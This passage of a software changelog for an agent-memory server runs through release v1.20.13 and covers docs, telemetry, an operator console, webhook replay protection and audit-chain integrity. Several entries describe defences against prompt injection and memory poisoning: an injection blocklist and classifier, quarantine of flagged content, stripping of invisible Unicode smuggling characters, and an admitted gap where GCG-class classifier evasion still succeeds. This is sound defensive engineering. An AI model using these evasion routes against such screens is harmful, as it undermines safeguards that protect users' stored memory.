Version-aligned, docs-only release (server Cargo.toml 1.20.12 → 1.20.13; client 1.20.12 → 1.20.13, version-alignment only — the v1.20.12 pattern). No runtime code, no schema change, no new routes — this is the outbound half of the GTM documentation line: the narrative that makes brain-server discoverable and saleable, built on the v1.20.12 reference. Content was relocated (not re-authored) from the private marketing/ working dir into the public in-tree docs/, matching the v1.20.12 reuse precedent.

  • M1 — docs/blog/: 8 technical-buyer posts, one per hard-won mechanism — compliance-time-bomb framing, deterministic human-in-the-loop, tamper-evident audit, reference-faithful retrieval (each citing its docs/research/ explainer), no-lock-in (MCP/UMP/HTTP), OWASP 2026 as the sales doc, the honest ceiling, and a clearly-labelled forward-looking Profiles preview (v1.21.0). Every post’s ../research/ / ../trust/ / ../OWASP_AGENTIC_2026.md link resolves; the one stale in-repo cross-link (blog-07-honest-ceiling.md → 07-honest-ceiling.md) fixed.
  • M2 — docs/media-kit.md: name/one-liners/positioning/elevator, a “Brain vs Mem0 vs LangGraph vs plain RAG” sizing table with honest ceilings, headline stats tied to the proof map, and a press contact/ask. Two trust links corrected for the docs/ location (../trust/ → ./trust/).
  • M3 — cross-links: docs/product-site/index.md links the blog + media kit; README Documentation table + docs/README.md docs-map gain Blog + Media kit rows; README version badge → 1.20.13.
  • M4 — release wrap: CHANGELOG §[1.20.13]; ROADMAP v1.20.13 row → Shipped; openapi.yaml + Cargo.toml/lock + client/Cargo.toml/lock re-stamped to 1.20.13.

Honest ceilings (carried into v2.2.1 “Drift”)

  • Blog posts are in-tree Markdown, not a published blog/CMS — the publishing channel is the v2.2.1 “Drift” + operator step.
  • The Profiles preview post is explicitly forward-looking (v1.21.0), not a shipped capability.
  • Media-kit positioning is author-faithful to the product, not an external analyst’s endorsement; every technical claim maps to a proof-map row.

[1.20.12] — 2026-08-12

Release notes

Improvements

  • New public documentation: product-site pages (overview, install, quickstart, editions) consumable by any static site generator.
  • A research section explains each retrieval mechanism — problem, reference, deterministic implementation, and known ceiling.
  • A trust proof map ties every security/compliance claim to the release that shipped it and the command that verifies it, with a scripted reproduce walkthrough.

Engineering record

Server + client + docs — “Docs” (GTM documentation line, version-aligned)

Version-aligned release (server Cargo.toml 1.20.11 → 1.20.12; client 1.20.9 → 1.20.12, version-alignment only — the same pattern as v1.18.2 “Align”). No runtime code, no schema change, no new routes — the GTM documentation line is docs-only; the version move simply re-anchors both components at the same 1.20.12 so the tree is aligned. Converts the already-shipped technical posture into buyer-facing evidence. The three tiers live in the tree under docs/ (relocated from the private marketing/ working dir), so any site generator or the existing static serving can consume them.

  • M1 — docs/product-site/: index.md (the “your agent’s memory is a compliance time bomb” elevator + the three-pillar posture), install.md, quickstart.md, editions.md (OSS / self-hosted-pro / enterprise placeholders — pricing is v2.2 “Meridian”, flagged in-file).
  • M2 — docs/research/: one scientific explainer per shipped retrieval mechanism — bi-temporal KG (Graphiti), submodular evidence packing (arXiv:2607.00725), TRACE edges (arXiv:2607.00339), PPR graph leg (HippoRAG-2), GAAMA hub dampening, calibrated abstention + “Use Graph When It Needs” gating (arXiv:2602.03578), reachable-PRF evidence gate. Each: problem → reference → deterministic implementation → measured/known ceiling.
  • M3 — docs/trust/: the proof map (proof-map.md) — every SECURITY/COMPLIANCE/OWASP_AGENTIC_2026 claim mapped to the release that shipped it + the exact live curl/brain command that proves it, plus the owned-ceilings list — and reproduce.md, a scripted walk-through of the whole map against a throwaway instance. “Verify it, don’t trust it.”
  • M4 — cross-links + alignment: README Documentation table + docs/README.md gain the three-tier links; README version badge regenerated from the real build via scripts/badges.sh (server + client now both 1.20.12); openapi.yaml + CLIENT_ROADMAP + client/README.md re-stamped.

Honest ceilings (carried into v2.2.1 “Drift”)

  • Docs are Markdown in-tree, not a deployed site with a domain — the static-serve/publish step is the v2.2.1 “Drift” + operator handoff.
  • Editions/pricing are placeholders until v2.2 “Meridian” lands.
  • Scientific explanations are author-faithful to the papers; brain-server is a deterministic implementation of specific techniques, not a SOTA-parity claim — each explainer states its ceiling honestly.
  • The client bump is version-alignment only (no client code change); the last client feature release remains v1.20.9 “Register”.

[1.20.11] — 2026-08-12

Release notes

Bug fixes

  • README badges and roadmap status corrected — the hand-typed test count had drifted from the measured suite, and two shipped releases were still listed as planned.

Improvements

  • New script generates README badges (versions, test count, conformance level, SBOM presence) from the actual build — it never fabricates a number.
  • New release checklist documents the wrap steps and the quality gates that must stay green.

Engineering record

Server + docs — “Housekeeping” (badge generation + release hygiene)

Dev-tools + docs + version release (server 1.20.10 → 1.20.11; client stays at 1.20.9). Closes the operator-console line. No new runtime code, no schema change, no new dependency — a badge-generation script + a release-wrap checklist, so the README’s badges and the release notes are facts, not hand-typed claims.

Added

  • M1 — scripts/badges.sh. Derives the README’s dynamic badges from the real build: version from Cargo.toml (server) + client/Cargo.toml (client), test count from an actual cargo test --features bench,migrate run (parses the “N passed” lines), UMP level from the shipped self-attested L3 (asserted every push by the ump-conformance CI job), and an SBOM-present flag from the on-disk CycloneDX JSON. Prints the badge block for the human to paste; --selfcheck verifies the version derivation + the release checklist’s six-artifact completeness and exits nonzero on any drift. It never fabricates a number it did not measure.
  • M2 — docs/release-checklist.md. Codifies the six-part release wrap (Cargo.toml+lock, openapi.yaml, CHANGELOG, ROADMAP, README badges via badges.sh, AGENTS.md) with the verifying commands and the gates that must stay green. Documents the docs-only exception (no Cargo.toml/OpenAPI change). A doc, not a CI gate — wiring it into CI as a blocking check is the operator’s call (intentionally out of scope; CI churn risks false-reds).
  • M3 — /proof integrity panel: NOT built (optional, off by default). The v1.20.10 integrity signal already lives in the queue-header Badge; a whole panel is speculative UI until the operator asks.

Changed

  • README badges regenerated via scripts/badges.sh — fixing the hand-typed test-count drift (README claimed 712; the measured suite differs).
  • ROADMAP released rows for v1.20.6 (“Console”) and v1.20.9 (“Register”) marked Shipped (they had shipped but were still listed Planned); v1.20.11 row → Shipped; released-version header → 1.20.11.

Ship

  • Docs + script commit. No server restart, no client bundle.

Honest ceilings (carried into v2.0)

  • Badge generation is a script, not a CI hard-gate — it produces facts for the human to paste; a blocking CI check is the operator’s call.
  • The /proof panel is optional and off by default.
  • The release checklist is a doc, not automation; a release.sh that does all six steps is a v2.x dev-infra nicety, deliberately not built here.

[1.20.10] — 2026-08-12

Release notes

  • Audit-chain integrity watcher: the tamper-evident chain is re-verified on a cadence (default 60s); breaks and recoveries raise alerts, and the health endpoint shows the posture.

Improvements

  • A script assembles a CRA-ready evidence bundle (SBOM, security/support/deployment/compliance docs) with a SHA-256 manifest.
  • A second script builds per-decision transparency records answering “why did this become memory, by what path, from what source”.
  • New SUPPORT.md states supported versions and update guidance.

Engineering record

Server + docs — “Proof” (integrity feed + CRA/ADMT evidentiary kits + SUPPORT.md)

Server release (server 1.20.8 → 1.20.10; client stays at 1.20.9). Adds the audit-ready-replay evidentiary bundle the v1.20.5 “Agentic” docs line promised: a live integrity watcher over the tamper-evident audit chain, and two scripts/ kits that assemble already-shipped evidence (SBOM + reporting + support docs; per-decision ADMT records) into hashed bundles. No new routes, no schema change, no new deps.

Added

  • M1 — Integrity feed watcher (src/alert.rs + src/main.rs + src/config.rs). alert::spawn_chain_watcher re-runs the existing full /audit/verify chain check on a cadence (BRAIN_CHAIN_CHECK_SECS, default 60s) and raises an integrity alert on ok↔broken transitions (pure chain_transition core: no per-tick spam, a broken boot raises instantly, a recovery raises ok). /health gains integrity:{chain_ok, last_checked_at, chain_head} — the watcher’s cached posture, content-free and PII-free.
  • M2 — CRA evidentiary kit (scripts/cra-kit.sh + docs/cra.md). Idempotently assembles the per-release CycloneDX SBOM, SECURITY.md, SUPPORT.md, docs/deployment.md, COMPLIANCE.md into dist/cra-kit/ with a CRA_MANIFEST.json SHA-256 index. Evidences the EU CRA “SBOM + reporting + support” bar; the honest “certification is an org action, not a repo claim” ceiling is explicit.
  • M3 — ADMT kit (scripts/admt-kit.sh + docs/admt.md). Read-only assembly of the existing GET /get/{id} (chunk origin/owner/evidence span) + GET /audit?kind=reconcile (proposal-gate trail) into a per-decision ADMT_RECORD.json + hashed manifest. Answers “why did this become memory, by what path, from what source” — inherits the server’s integrity posture, never fabricates a summary.
  • M4 — SUPPORT.md — repo-standard support statement (supported versions → SECURITY.md, reporting path, update guidance, honest no-SLA posture).
  • OpenAPI — /health integrity object documented; version stamp → 1.20.10.

Changed

  • health_body now takes integrity and emits it; AppState carries the watcher’s ChainWatchState.

[1.20.9] — 2026-08-12

Release notes

  • Agent Memory Register panel: stored knowledge grouped by origin (human / model / imported) with live counts, plus filters by owner, source, and kind.

Improvements

  • A shared evidence viewer shows the verbatim source span, source URI, revision, and line range from any register row.
  • Read-only by construction — the register cannot be fed a mutation’s response.

Engineering record

Client — “Register” (read-only Agent Memory Register + shared evidence viewer)

Client release (client 1.20.8 → 1.20.9; server + API contract stay at 1.20.8). A pure client composition of the already-shipped GET /export + GET /get/{id} endpoints — no new routes, no new wire types, no new deps. The v1.20.7 telemetry origin marker (and the v1.18.2 provenance it derives from) is now visible in the console as an operator-facing provenance ledger.

Added

  • M1 — Register panel (/register, client/src/panels/register.rs) — reads the knowledge body of GET /export and partitions rows into the three origin tiers (human / model / imported) with live counts, plus an All tab. Pure register_filter narrows by owner/source/memory-kind; each row renders id · bounded excerpt · provenance badges · UTC date.
  • M2 — shared evidence viewer (EvidenceModal) — one reusable role="dialog" opened from any register row; fetches the existing GET /get/{id} wire and shows the verbatim span + source_uri + revision + heading + line range. Hand-rolled Esc-close modal matching the review-panel idiom (the client has no Radix DialogRoot).
  • Wiring — Route::Register, rail + mobile tab + command palette (nav 13 → 14, guard test updated), i18n nav_register in en (other locales fall back per the established convention).
  • Tests — client 99 passed (6 new: register_filter, origin_group, register_excerpt incl. the invisible-char strip boundary, format_epoch, evidence_modal_uses_existing_get_route, register_is_read_only).

Honest ceilings

  • The register is read-only by construction: parse_export_rows yields zero rows from any non-/export body, so the ledger can’t be fed a mutation’s response.
  • Recall hits still open the existing shared drawer (DrawerContent::Hit); the register’s EvidenceModal is pub for a future recall entry (the plan’s recall wiring was deferred — rewiring would orphan a drawer variant).
  • highlights and source_prompt are server proposal-only and are not rendered (the plan’s client-side claims to them were wrong; /get/{id} has no such fields).
  • format_epoch is a dependency-free UTC YYYY-MM-DD (Howard Hinnant civil- from-days); no timezone conversion.

[1.20.8] — 2026-08-12

Release notes

  • Live operator alert stream: server-sent events for proposals entering review, deadline crossings, injection quarantines, and audit-chain checks — filterable by kind.

Improvements

  • Optional outbound webhook delivers each alert with an HMAC-SHA256 signature and retries; an unreachable endpoint drops alerts fail-soft.
  • The web client subscribes live: alerts refresh the right panels and are announced to screen readers; the periodic poll remains the fallback.

Security fixes

  • Alert payloads carry ids and sequence numbers only — content and personal data never leave the server through the feed.

Engineering record

Server — “Signal” (operator alert feed GET /events + optional alert webhook sink)

Server + client release (server 1.20.7 → 1.20.8; client 1.20.6 → 1.20.8). The live half of the v1.20.8 Signal plan: a fixed, hand-curated operator alert stream and an outbound webhook sink so the decisions the memory gate makes are no longer silent. No schema change, no new deps (reuses the existing webhook_queue table + verify_standard_signature machinery).

Added

  • GET /events SSE stream (src/alert.rs::events) — emits alert events {kind, ts, seq, payload} for exactly four fixed kinds: pending (a proposal entered the review queue), expiry (a proposal/retention deadline crossed), screen (an injection-screen hit → quarantine), chain (the audit hash chain was re-verified / a tamper alert fired). Optional ?kinds= filter; SSE retry hint; Read-gated. Payloads carry ids/seq only — content and PII never leave the server (AlertKind is a fixed enum, so the wire type can’t grow arbitrary fields).
  • Publishing points — verify_audit_chain (chain), ingest_proposal (pending + screen on quarantine), the v1.20.4 proposal-TTL expiry (expiry). Emitted via a tokio broadcast on AppState.
  • Optional outbound alert webhook (src/alert.rs::sink + src/webhook.rs::sign_standard_signature) — when BRAIN_ALERT_WEBHOOK_URL (+ optional BRAIN_ALERT_WEBHOOK_SECRET) is set, each alert is enqueued and delivered with the Standard-Webhooks v1, HMAC-SHA256 signature (the same scheme as v1.20.4), 3 retries, fail-soft.
  • Client /ops subscribes — region_for(kind) maps an alert to a console region (pending/screen/chain → queue/flagged refresh, expiry → SLA clock reset), a monotonic seq guard (should_apply) drops replays, and an aria-live="polite" line announces each alert (i18n alert_queued/alert_screen/alert_expiring). The ~30s tick poll remains the honest fallback when the feed is unreachable.
  • Tests — server 503 passed + 5 ignored (5 new: alert-kind fixed-set, seq-envelope purity, tier/region mapping, webhook signature round-trip); client 93 (3 new: region_for, should_apply flood guard, parse_alert_event kind+seq only).

Honest ceilings

  • GET /events is server-push over SSE; the client polls with a bounded read (a browser EventSource can’t carry the bearer token, so fetch + bytes_stream is used) — the feed is an optimization over the existing tick poll, not a new authority.
  • The webhook sink is fail-soft by design: an unreachable endpoint drops alerts (they remain in the audit log + /events).
  • seq is per-process; a multi-instance deployment would need a shared counter (v2.x).

[1.20.7] — 2026-08-12

Release notes

Improvements

  • Optional OpenTelemetry tracing (behind a build feature; the default build is unchanged) covers the three decision seams: injection screen, review gate, and recall.
  • Spans carry stable labels and a bounded query fingerprint — query content is never sent to the collector.

Engineering record

Server — “Telemetry” (instrumented decision cores behind --features otel)

Optional OpenTelemetry tracing of the write-gate decision path, gated behind a new otel Cargo feature so the default build ships with zero tracing machinery and zero new runtime deps (every #[instrument] and the OTLP exporter are #[cfg(feature = "otel")]). This is the observability half of the v1.20.x audit follow-up: the three seams that decide what becomes (or stays) memory — the injection screen, the human review gate, and recall — now emit spans an operator can ship to any OTLP collector. No schema change, no new routes, no API contract change. Server version stays at 1.20.4; the otel feature rides into the next tagged release.

Added

  • src/otel.rs (new, #[cfg(feature = "otel")]): init_otel builds the SdkTracerProvider + an OTLP HTTP exporter to BRAIN_OTEL_ENDPOINT (default http://127.0.0.1:4318/v1/traces), plus the pure label helpers shared by the spans: query_hash (bounded xxh3 of the query — content never sent as a field), screen_verdict_span (Clean/Quarantine/Reject → label), gate_outcome (decision → proposed/approved/rejected).
  • Instrumented decision seams — all #[cfg_attr(feature = "otel", tracing::instrument(name = "…"))] so the default build is byte-identical:
    • screen::screen → screen span, records verdict.
    • recall::run_recall → recall span (decision, graph_rescued, hits, domain, principal, query_hash).
    • gate::ingest_proposal / approve_proposal / reject_proposal → gate.{propose,approve,reject} spans with outcome.
  • main.rs: init_tracing wires EnvFilter (its own layer — the fmt layer has no with_env_filter method) + the otel layer behind BRAIN_OTEL_ENDPOINT; provider.tracer("brain-server") via TracerProvider::tracer.
  • Cargo.toml: otel feature (tracing, tracing-subscriber/env-filter, opentelemetry, opentelemetry_sdk, opentelemetry-otlp, tracing-opentelemetry). tracing-subscriber’s registry feature is enabled only under otel (the OTLP layer needs it).
  • Tests (screen::tests::otel_tests, cfg-gated): screen_emits_verdict_span proves via a hand-rolled capturing Layer<Registry> that the seam emits a screen span with exactly [("verdict", "clean")]; verdict_span_label_covers_all_verdicts pins all three label mappings.

Honest ceilings

  • The default build has no telemetry; an operator must rebuild with --features otel + run a collector (see src/config.rs / BRAIN_OTEL_ENDPOINT).
  • query_hash is an xxh3-64 fingerprint, not the query — recall spans never carry content; a consumer wanting the exact query must re-derive it from the hash + audit, by design.
  • Only the three decision seams are instrumented (screen / gate / recall). The wider request path, connectors, and webhook handlers are not yet covered.
  • gate_outcome/screen_verdict_span labels are stable strings, not the raw enum Debug repr — a deliberate, changelog-noted contract for dashboard joins.

[1.20.6] — 2026-08-12

Release notes

  • Memory Operations dashboard: a live pending queue with full content, source prompt, and SLA countdown, plus keyboard approve/reject.

Improvements

  • Flagged and quarantined items are visible in one place, with screen-caught recall hits badged and stripped of invisible characters at display.
  • A gate-health strip summarizes approved/rejected/expired counts with a severity hint.

Engineering record

Client — “Console” (Memory Operations panel + SLA clocks + flagged surface)

The first release of the operator-console line (per IMPLEMENTATION_PLAN_v1.20.6_Console.md). Turns the HITL posture brain-server built across v1.14+ into a single live, at-a-glance work surface. Client-only — server + API contract stay at 1.20.0; the panel is a pure composition of the already-shipped /proposals, /decayed, and recall-include_flagged endpoints. No new routes, no schema change, no new dependency.

Added

  • M1 — Memory Operations panel (client/src/panels/ops.rs + Route::Ops at /ops, registered in rail + tab bar + palette; nav targets 12 → 13). A 3-region dashboard, one decision type per region: live pending queue (top-left primary; each row = exact content + source_prompt + live SLA countdown + A-approve/R-reject via the existing decide path), flagged & quarantined (recall include_flagged: true + GET /decayed, read-only, displayed through the v1.20.3 invisible-char strip boundary), and a gate health strip (approved/rejected/expired counts → severity hint).
  • M2 — SLA countdown clocks (the “queue is a clock” rule). New Dioxus-free pure cores: clock_until (time-until-expiry from created_at + the mirrored DEFAULT_PROPOSAL_TTL_SECS, None once past deadline), sla_tier (critical < 5 min / warn < 1 hr / ok), gate_health, and queue_priority (expired first, then nearest-expiry, stable tie-break by id). A once-on-mount loop re-renders all countdowns from a fresh now_unix() every ~30s (dependency-free, the health-refresh idiom). Expired rows show the server-enforced auto-reject note.
  • M3 — flagged surface — the injection screen’s output is now visible in the console: screen-caught recall hits render a flagged badge and strip invisible smuggling chars at display only (raw bytes never rewritten).
  • M4 — wrap — ops_*/sla_*/gate_* i18n keys in en (de/fr/es/nl resolve via the en-fallback); client Cargo.toml 1.20.0 → 1.20.6; this entry + AGENTS.md + CLIENT_ROADMAP.

Tests

90 client tests (the new pure cores — clock_until_*, sla_tier_*, fmt_remaining_*, queue_priority_expired_first_then_nearest_expiry, queue_priority_stable_tie_break_by_id, gate_health_*; the palette nav-target guard updated to 13). Clippy -D warnings clean, cargo fmt --check clean, wasm32-unknown-unknown build clean.

Honest ceilings (carried into v1.20.7/8)

  • The countdown refreshes on a ~30s timer, not instant push (instant = the v1.20.8 “Signal” plan). The server’s 400 on a stale approve is the backstop.
  • DEFAULT_PROPOSAL_TTL_SECS mirrors the server default; an operator override of BRAIN_PROPOSAL_TTL_SECS makes the displayed clock drift until the server 400 (documented in the core; the server’s expiry is authoritative).
  • Proposal.screen_verdict is not yet on the client wire type (server-side in v1.20.3), so the queue rows carry source_prompt but not the verdict badge; the flagged region surfaces screen-caught rows instead.
  • Gate-health counts are a point-in-time pass over /proposals?status=…, not a rolling persisted window.

GTM documentation line (companion to v1.20.6, no version bump)

Added the go-to-market documentation tier behind the v1.20.12 "Docs" / v1.20.13 "Media" ROADMAP rows (plans: IMPLEMENTATION_PLAN_v1.20.12_Docs.md, IMPLEMENTATION_PLAN_v1.20.13_Media.md). Originally authored untracked in the gitignored marketing/ directory (product-site landing/install/quickstart/ editions, research explainers, trust proof-map + reproduce walkthrough, blog posts, media kit). v1.20.12 “Docs” relocated the product-site/research/trust tiers into the in-tree docs/; the blog posts + media kit stayed private in marketing/ until the v1.20.13 “Media” release.

[1.20.5] — 2026-08-11

Release notes

  • OWASP compliance matrix: the stack mapped control-by-control to the OWASP GenAI LLM Top 10 (2026) and Top 10 for Agentic Applications (2026).

Improvements

  • Zero-trust AI posture documented: workload identity, least agency, and a single egress boundary.
  • An audit-ready-replay playbook for assembling decision-path evidence from existing exports.
  • An enterprise ops runbook: token rotation, memory-poisoning incident response, and classifier operations.

Engineering record

v1.20.5 “Agentic” — the enterprise capstone of the GhostJacking-hardening line (G1–G6 all closed across v1.20.1–v1.20.4). Docs only — zero new routes, zero schema change, zero new deps, no server/client version bump (a docs-only patch tag v1.20.5 marks the artifact). Maps the hardened stack to the two 2026 OWASP agentic frameworks and ships the adoption artifacts an enterprise team needs.

Added (docs)

  • docs/OWASP_AGENTIC_2026.md — the control-by-control compliance matrix: the OWASP GenAI LLM Top 10:2026 (LLM01–LLM10, pub. 2026-08-04) and the OWASP Top 10 for Agentic Applications 2026 (ASI01–ASI10, pub. 2025-12-10). Every row = Shipped vX.Y (exact feature) or Ceiling v2.x (owned residual risk). Includes the AIUC-1 crosswalk (procurement bridge) and a residual-risk section naming the owners. Standard = 100% control coverage (LLM01 has no prevention per OWASP 2026; segregation + gates + least-privilege are the load-bearing defenses).
  • ZT4AI posture (SECURITY.md § + COMPLIANCE.md §3.5) — workload identity (agents are not shared service accounts; did:key + capability tokens, ≤90d rotation), least-agency (plugin = recall + proposal only, write approval outside the prompt), Rule of Two, egress boundary (exactly one outbound path: the Art 19 webhook).
  • Audit-ready-replay playbook (COMPLIANCE.md §3.6) — the 2026 production-readiness bar (“replay the agent’s decision path”); how to assemble the evidence bundle (what/why/to-whom/for-how-long) from /audit + /recall/ {id}/trace + DSAR certificates + retention — export paths already exist, no new code.
  • Enterprise ops runbook (docs/deployment.md §) — token rotation (v1.20.2 machine-identity pattern) + poisoning-incident-response (/decayed + /consolidate/propose → purge → re-verify chain → rotate) + classifier operations (FPR calibration via BRAIN_INJECTION_THRESHOLD_HIGH/ LOW, retrain trigger, sha256sum model-artifact hash-pin).

Fixed / Changed

  • ROADMAP.md released-version header → 1.20.5 + released row for the docs capstone; COMPLIANCE.md + SECURITY.md + docs/deployment.md cross-reference the new matrix (hand link-checked).

Honest ceilings (the “100%” answer)

  • LLM01 has no prevention (OWASP 2026’s own position); adaptive white-box classifier evasion (GCG-class) still beats a hardened encoder — the untrusted segregation + approval gate are the surviving controls. Owners: ops / platform.
  • v2.x code ceilings the matrix names: per-principal quotas (LLM06), at-rest encryption (LLM02), mTLS (ASI07), full multi-team tenancy + SSO (ASI03) — all owned by v2.0 “Cortex”. A2A federation (ASI07) stays v2.x; the v1.20.4 Standard Webhooks handshake is the 2026-compliant boundary until then.

[1.20.4] — 2026-08-11

Release notes

Improvements

  • The health endpoint now surfaces the webhook posture at a glance: replay window, scheme, and whether timestamps are required.
  • Documented how GitHub’s webhook replay protection works (delivery-id idempotency) and how first-party senders can opt into signed timestamps.
  • Optional Standard Webhooks verification: when enabled, deliveries must carry signed id/timestamp/signature headers, verified in constant time.

Security fixes

  • The signed timestamp rides inside the HMAC, so a replayed delivery cannot be re-stamped; delivery-id idempotency still applies.

Engineering record

v1.20.4 “Replay” — the G6 close from the GhostJacking audit: an optional, config-driven replay window for webhook senders that provide a signed timestamp, plus a documented stance for GitHub. Server Cargo 1.20.3 → 1.20.4; client stays at 1.20.0. No schema change, no new routes — the Standard Webhooks handshake rides the existing /webhooks/{kind} surface.

Added

  • Standard Webhooks handshake for first-party senders (M1, opt-in). When BRAIN_WEBHOOK_TIMESTAMP_REQUIRED=1, POST /webhooks/{kind} requires the open spec’s header set (webhook-id/webhook-timestamp/webhook-signature) and verifies the v1,<base64> HMAC-SHA256 over {id}.{timestamp}.{raw body} in constant time (WebhookQueue::verify_standard_signature, src/handlers/webhooks.rs::receive_standard). The timestamp rides inside the HMAC, so a replay cannot re-stamp it. webhook-id feeds the existing webhook_seen idempotency. The spec path accepts any kind — the flag is an explicit operator opt-in for their own trusted senders.
  • /health webhook posture (M2). webhook.replay_secs (300), webhook.timestamp_required, and webhook.scheme (standard-webhooks | legacy) exposed at a glance (mirrors the hardening object pattern).
  • Documentation stance for GitHub (M3, the real deliverable). GitHub’s replay protection is x-github-delivery idempotency (its sender is a trusted third party), not a timestamp window — documented in SECURITY.md §webhooks, COMPLIANCE.md §webhooks, and docs/deployment.md. First-party senders can opt into the hard window via the spec headers + flag (svix-style signer or a hand-rolled HMAC, both documented).

Fixed

  • G6 webhook replay window that depends on sender headers — previously the WEBHOOK_REPLAY_SECS window only applied when a caller-supplied timestamp was present, and GitHub sends none, so its only replay protection was delivery-id dedup (acceptable for the connector’s threat model). The spec handshake closes this for senders that DO provide a signed timestamp without inventing one GitHub doesn’t send.

Security

  • The hard window is opt-in (default unchanged — the legacy GitHub path is byte-identical); an attacker who can forge the HMAC already controls the secret, so replay here is a robustness concern, not an RCE vector. This closes all six audit gaps (G1–G6) across the v1.20.x line.

Honest ceilings (carried into v1.21+)

  • GitHub’s replay protection remains delivery-id idempotency — no timestamp is invented for it.
  • The spec handshake is verification-side only; the legacy GitHub path keeps its sha256= HMAC scheme (back-compat). The spec’s webhook-origin/allowlist features are not adopted.

[1.20.3] — 2026-08-11

Release notes

  • Fixed a crash in PII masking: chunks containing multi-byte characters (em-dash, CJK) after a digit run crashed reads; masking now handles them and leaves non-ASCII text untouched.

Improvements

  • Review proposals show a screen verdict badge (clean/quarantined), recomputed deterministically at read time.
  • The health endpoint reports whether the optional injection classifier is actually loaded.
  • Optional second-layer injection classifier (local model, off by default) catches novel or obfuscated injections the blocklist misses; high scores reject, borderline content is stored flagged.

Security fixes

  • Injection screening now covers every ingest write path, including procedures.
  • Invisible-character coverage widened (tag blocks, variation selectors); the web client shows recall hits and proposals de-obfuscated while stored bytes stay untouched.

Engineering record

v1.20.3 “Classify” — the G5 upgrade path from the GhostJacking audit (layer 2 of the injection screen) plus the client render-boundary hardening. Server Cargo 1.20.2 → 1.20.3; client stays at 1.20.0 (one pure fn + three render-site call sites + a test, version-neutral). No schema change — proposals.screen_verdict is recomputed deterministically at read time rather than persisted, so the schema stays at 1.20.1/1.20.2 and test_migration_schema_contract is untouched.

Added

  • Two-layer injection screen (src/screen.rs, the single seam every ingest write path routes through). Layer 1 = the existing deterministic blocklist (always on). Layer 2 = an optional, feature-gated local ONNX classifier (injection-classifier feature + ort/tokenizers) for novel/obfuscated injections. Layer 2 is OFF by default — the Jetson envelope treats memory as the scarcest resource and the blocklist + flagged/untrusted segregation remain the always-on defense. When enabled, loads the model at BRAIN_INJECTION_CLASSIFIER + tokenizer at BRAIN_INJECTION_TOKENIZER (Fastly-lineage BERT-tiny INT8, ~4.3 MB) once via a LazyLock, off the request path. Banding: score ≥ BRAIN_INJECTION_THRESHOLD_HIGH (0.9) → HTTP 400; ≥ BRAIN_INJECTION_THRESHOLD_LOW (0.7) → stored flagged; else clean. Under Allow policy the whole screen is disabled (kill switch). Scoring is sentence-packed + density-adjusted (StackOne calibration): one flagged sentence in a ≥3-sentence chunk is damped toward 0, several confirm an attack.
  • Screen wired into every ingest write site: /add, /ingest/memory, /ingest/markdown, /ingest (ingest_one), /procedure (root + each step), and /ingest/proposal. Reject → 400 (input_rejected); Quarantine → stored flagged + KG edges skipped. flag_if_quarantined now takes the screen’s bool verdict (no longer re-runs the blocklist in isolation) — a layer-2 hit quarantines exactly like a layer-1 hit.
  • Review-queue badge: ProposalView.screen_verdict (clean/quarantine). reject is never persisted (the proposal path 400s on Reject at write time); the badge is recomputed deterministically at read time.
  • /health hardening field: injection_classifier_loaded — lets ops confirm the opt-in model is actually active.
  • Canonical invisible-char predicate (screen::is_invisible, extended from v0.9.7): adds the tag block (U+E0000–E007F) + variation selectors (U+FE00–FE0F) to the existing zero-width set. The blocklist normalization, the classifier, and the client render boundary now agree on what is invisible.
  • Client render boundary (client): strip_invisible strips invisible smuggling chars from displayed recall hits + review proposals so the operator sees the de-obfuscated form. Raw bytes at rest are never rewritten.

Security

  • Closes the GhostJacking G5 upgrade path: novel/obfuscated injections that the deterministic blocklist misses can now be caught by an optional local model, still paired with the flagged/untrusted segregation (never the sole line of defense). Layer 2 off by default preserves the no-new-dependency default build.

Honest ceilings (carried into v1.20.4 / v2.0)

  • Jetson-fit is a measured gate, not assumed. Layer 2 is verified on desktop; the operator must run bench --envelope before treating it as Jetson-shippable (repo precedent: the rerank tier was removed for the same reason). with_intra_threads(1) respects the budget.
  • The classifier catches semantic patterns, not every obfuscation; Quarantine stores flagged, never deletes. source_prompt remains PII-scanned, not semantically safe.
  • screen_verdict is recomputed at read time, so a model swap can re-badge an in-flight proposal (rare; the badge reflects the current screen, which is the defensible reading). A model-drift Reject on a stored row reads as quarantine.
  • strip_invisible runs at screen/classifier/render boundaries, not by rewriting stored bytes — a legitimate user’s invisible Unicode is preserved verbatim at rest.
  • G3 (OpenClaw subagent/exec/read/pdf envelope) + G4 (token at rest) remain operator/OpenClaw-side (companion plan).

Changed

  • Client Cargo stays 1.20.0 (version-neutral changes, v1.20.1 precedent).

Fixed

  • Live panic in mask_phone (src/gate.rs) — the PII masker iterated the input by byte index but emitted out[i..i+1], which panics (“byte index is not a char boundary”) whenever a multi-byte char (e.g. —, CJK) followed a digit run. A PII-flagged chunk containing such a char crashed the tokio worker on the read path. The masker now advances by full char (len_utf8); masking is unchanged and non-ASCII input round-trips untouched. Pinned by redact_content_survives_multibyte_chars_and_still_masks.

[1.20.2] — 2026-08-11

Release notes

  • Audit-chain fork fixed: concurrent writers could append with the same predecessor hash; chain writes now serialize and the tamper-evident chain stays linear.

Bug fixes

  • Concurrently approving the same proposal no longer yields a generic server error — the second attempt gets a clean “already decided” conflict.
  • Proposal-expiration events are now recorded durably instead of silently rolling back when a later step fails.
  • MCP protocol update (2026-07-28): stateless discovery, per-request metadata validation, caching hints, and spec-exact error codes; legacy clients keep working.

Improvements

  • Resource bounds: export no longer buffers the entire database, embedding batches are capped, and adversarial content can no longer trigger quadratic entity extraction.
  • Source prompts are length-capped and PII-screened before storage; multi-item fetches collapsed from per-id queries to a single lookup.

Security fixes

  • The procedure write path bypassed injection screening — it now screens the root and every step like all other ingest routes.
  • Card numbers slipped through PII redaction: 16–19 digit Luhn-valid cards were flagged but leaked verbatim on redacted reads; they are now masked.
  • Rate limiting was evadable by spoofing X-Forwarded-For (the header is now trusted only when configured) and used unbounded memory; tracking is now capped.
  • Tombstone and erasure-certificate listings no longer expose other tenants’ records to team-scoped admins; the detailed DB-health endpoint is no longer public.

Engineering record

Server — “Harden” (deep + security second-pass audit fixes)

The consolidated fix release for the v1.20.x deep + security second-pass audit. Every confirmed finding from both audit passes is closed as a code change; the operator-only G3/G4 work from the prior CredentialHygiene plan is Part H (operator steps, no code). No schema change (stays at 1.20.1) — this is a code-only release. Server 1.20.1 → 1.20.2; plugin stays 0.2.1; client stays 1.20.0. See IMPLEMENTATION_PLAN_v1.20.2_Harden.md.

Fixed — Correctness + concurrency (audit chain fork + friends)

